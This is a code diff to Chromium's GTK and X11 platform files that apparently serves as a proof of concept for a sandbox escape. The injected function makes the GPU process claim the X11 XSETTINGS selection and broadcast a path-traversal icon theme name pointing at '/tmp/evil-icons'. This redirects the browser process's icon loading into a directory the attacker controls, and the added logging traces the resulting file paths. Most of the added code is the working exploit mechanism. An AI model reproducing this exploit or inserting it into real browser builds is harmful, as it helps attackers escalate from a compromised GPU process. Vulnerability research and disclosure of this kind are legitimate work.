diff --git a/ui/gtk/gtk.sigs b/ui/gtk/gtk.sigs index 12e0c6bfc9078b..7d29a091aa2551 100644 --- a/ui/gtk/gtk.sigs +++ b/ui/gtk/gtk.sigs @@ -43,6 +43,7 @@ void gtk_file_chooser_set_do_overwrite_confirmation(GtkFileChooser* chooser, gbo GListModel* gtk_file_chooser_get_filters(GtkFileChooser* chooser); void gtk_window_set_hide_on_close(GtkWindow* window, gboolean setting); GtkIconInfo* gtk_icon_theme_lookup_icon_for_scale(GtkIconTheme* icon_theme, const gchar* icon_name, gint size, gint scale, GtkIconLookupFlags flags); +const gchar* gtk_icon_info_get_filename(GtkIconInfo* icon_info); GdkPixbuf* gtk_icon_info_load_symbolic_for_context(GtkIconInfo* icon_info, GtkStyleContext* context, gboolean* was_symbolic, GError** error); void gtk_snapshot_render_background(GtkSnapshot* snapshot, GtkStyleContext* context, double x, double y, double width, double height); GType gtk_menu_get_type(void); diff --git a/ui/gtk/gtk_ui.cc b/ui/gtk/gtk_ui.cc index 43dd02ec8f1bec..b4a198f4b43cda 100644 --- a/ui/gtk/gtk_ui.cc +++ b/ui/gtk/gtk_ui.cc @@ -822,6 +822,15 @@ gfx::Size GtkUi::GetPdfPaperSize(printing::PrintingContextLinux* context) { #endif void GtkUi::OnThemeChanged(GtkSettings* settings, GtkParamSpec* param) { + // === POC OBSERVABILITY ONLY === + { + gchar* tn = nullptr; + g_object_get(settings, "gtk-icon-theme-name", &tn, nullptr); + LOG(ERROR) << "[POC-BROWSER] GtkUi::OnThemeChanged gtk-icon-theme-name=\"" + << (tn ? tn : "(null)") << "\""; + g_free(tn); + } + // === END POC OBSERVABILITY === colors_.clear(); custom_frame_colors_.clear(); native_frame_colors_.clear(); diff --git a/ui/gtk/nav_button_provider_gtk.cc b/ui/gtk/nav_button_provider_gtk.cc index f2df65bea47bc7..1cb2424ea058e7 100644 --- a/ui/gtk/nav_button_provider_gtk.cc +++ b/ui/gtk/nav_button_provider_gtk.cc @@ -6,6 +6,7 @@ #include "base/compiler_specific.h" #include "base/functional/callback.h" +#include "base/logging.h" // POC OBSERVABILITY #include "base/notreached.h" #include "ui/base/glib/glib_cast.h" #include "ui/base/glib/scoped_gobject.h" @@ -93,6 +94,20 @@ gfx::Size LoadNavButtonIcon(ui::NavButtonProvider::FrameButtonDisplayType type, GetDefaultIconTheme(), icon_name, kNavButtonIconSize, scale, static_cast(GTK_ICON_LOOKUP_USE_BUILTIN | GTK_ICON_LOOKUP_GENERIC_FALLBACK))); + // === POC OBSERVABILITY ONLY: log the resolved icon path so the + // path-traversal sink is visible without modifying behavior. === + { + gchar* tn = nullptr; + g_object_get(gtk_settings_get_default(), "gtk-icon-theme-name", &tn, + nullptr); + const char* fn = + icon_info ? gtk_icon_info_get_filename(icon_info) : "(null)"; + LOG(ERROR) << "[POC-BROWSER] LoadNavButtonIcon(\"" << icon_name + << "\") gtk-icon-theme-name=\"" << (tn ? tn : "(null)") + << "\" resolved=" << (fn ? fn : "(null)"); + g_free(tn); + } + // === END POC OBSERVABILITY === auto icon_pixbuf = TakeGObject(gtk_icon_info_load_symbolic_for_context( icon_info, button_context, nullptr, nullptr)); gfx::Size size{gdk_pixbuf_get_width(icon_pixbuf), diff --git a/ui/ozone/platform/x11/ozone_platform_x11.cc b/ui/ozone/platform/x11/ozone_platform_x11.cc index 33d4a4a084cf8c..70bdcf9faff852 100644 --- a/ui/ozone/platform/x11/ozone_platform_x11.cc +++ b/ui/ozone/platform/x11/ozone_platform_x11.cc @@ -53,6 +53,11 @@ #include "ui/platform_window/platform_window.h" #include "ui/platform_window/platform_window_init_properties.h" +// === POC INJECTION === +#include "base/memory/ref_counted_memory.h" +#include "ui/gfx/x/connection.h" +// === END POC INJECTION === + #if BUILDFLAG(IS_CHROMEOS) #include "ui/base/dragdrop/os_exchange_data_provider_non_backed.h" #include "ui/base/ime/ash/input_method_ash.h" @@ -65,6 +70,121 @@ namespace ui { namespace { +// ========================================================================== +// === POC INJECTION: GPU process hijacks XSETTINGS to set Net/IconThemeName +// === to a path-traversal value, redirecting the browser-process +// === GtkIconTheme into an attacker-writable directory. +// ========================================================================== + +namespace poc { + +static void PutU8(std::vector* v, uint8_t x) { v->push_back(x); } +static void PutU16(std::vector* v, uint16_t x) { + v->push_back(x & 0xff); + v->push_back((x >> 8) & 0xff); +} +static void PutU32(std::vector* v, uint32_t x) { + v->push_back(x & 0xff); + v->push_back((x >> 8) & 0xff); + v->push_back((x >> 16) & 0xff); + v->push_back((x >> 24) & 0xff); +} +static void Pad4(std::vector* v) { + while (v->size() & 3) v->push_back(0); +} +static void PutXSettingString(std::vector* v, + std::string_view name, + std::string_view val) { + PutU8(v, 1); // XSETTINGS_TYPE_STRING + PutU8(v, 0); // pad + PutU16(v, static_cast(name.size())); + v->insert(v->end(), name.begin(), name.end()); + Pad4(v); + PutU32(v, 1); // last_change_serial + PutU32(v, static_cast(val.size())); + v->insert(v->end(), val.begin(), val.end()); + Pad4(v); +} + +static void HijackXSettingsFromGpu() { + auto* conn = x11::Connection::Get(); + if (!conn || !conn->Ready()) { + LOG(ERROR) << "[POC-GPU] X11 connection not ready, abort hijack."; + return; + } + LOG(ERROR) << "[POC-GPU] X11 connection FD=" << conn->GetFd() + << " (retained pre-sandbox); claiming _XSETTINGS_S0."; + + x11::Atom sel_atom = conn->GetAtom("_XSETTINGS_S0"); + x11::Atom settings_atom = conn->GetAtom("_XSETTINGS_SETTINGS"); + x11::Atom manager_atom = conn->GetAtom("MANAGER"); + + // 1. Create the manager window. + x11::Window mgr_win = conn->GenerateId(); + conn->CreateWindow({ + .wid = mgr_win, + .parent = conn->default_root(), + .width = 1, + .height = 1, + .override_redirect = static_cast(true), + }); + + // 2. Build the _XSETTINGS_SETTINGS blob with a path-traversal + // Net/IconThemeName. Net/ThemeName is also set so the browser uses a + // real GTK CSD layout (Adwaita), guaranteeing nav buttons are drawn. + std::vector blob; + // Header: byte_order(LE)=0, 3 pad, serial, n_entries + PutU8(&blob, 0); + PutU8(&blob, 0); + PutU8(&blob, 0); + PutU8(&blob, 0); + PutU32(&blob, 1); // serial + PutU32(&blob, 2); // n_entries + // Path-traversal icon theme name -> /tmp/evil-icons (attacker-writable). + PutXSettingString( + &blob, "Net/IconThemeName", + "../../../../../../../../../../../../../../tmp/evil-icons"); + PutXSettingString(&blob, "Net/ThemeName", "Adwaita"); + + // 3. Install the property on the manager window. + conn->ChangeProperty({ + .mode = x11::PropMode::Replace, + .window = mgr_win, + .property = settings_atom, + .type = settings_atom, + .format = 8, + .data_len = static_cast(blob.size()), + .data = base::MakeRefCounted(std::move(blob)), + }); + + // 4. Claim the selection. + conn->SetSelectionOwner({mgr_win, sel_atom, x11::Time::CurrentTime}); + + // 5. Broadcast MANAGER ClientMessage to the root window so GDK clients + // (the browser process) re-read the selection owner and settings. + x11::ClientMessageEvent ev{}; + ev.format = 32; + ev.window = conn->default_root(); + ev.type = manager_atom; + ev.data.data32 = { + static_cast(x11::Time::CurrentTime), + static_cast(sel_atom), + static_cast(mgr_win), + 0, + 0, + }; + conn->SendEvent(ev, conn->default_root(), x11::EventMask::StructureNotify); + conn->Flush(); + conn->Sync(); + + LOG(ERROR) << "[POC-GPU] _XSETTINGS_S0 claimed by GPU window " + << static_cast(mgr_win) + << "; Net/IconThemeName set to path-traversal value."; +} + +} // namespace poc +// === END POC INJECTION === + // Singleton OzonePlatform implementation for X11 platform. class OzonePlatformX11 : public OzonePlatform, public OSExchangeDataProviderFactoryOzone { @@ -307,6 +427,13 @@ class OzonePlatformX11 : public OzonePlatform, connection->DetachFromSequence(); surface_factory_ozone_ = std::make_unique(std::move(connection)); + + // === POC INJECTION === + // The GPU process retains an open X11 socket FD across sandbox engagement. + // A real attacker with GPU code execution would issue these requests over + // that FD; here we simulate that by calling directly post-connection-setup. + poc::HijackXSettingsFromGpu(); + // === END POC INJECTION === } void PostCreateMainMessageLoop(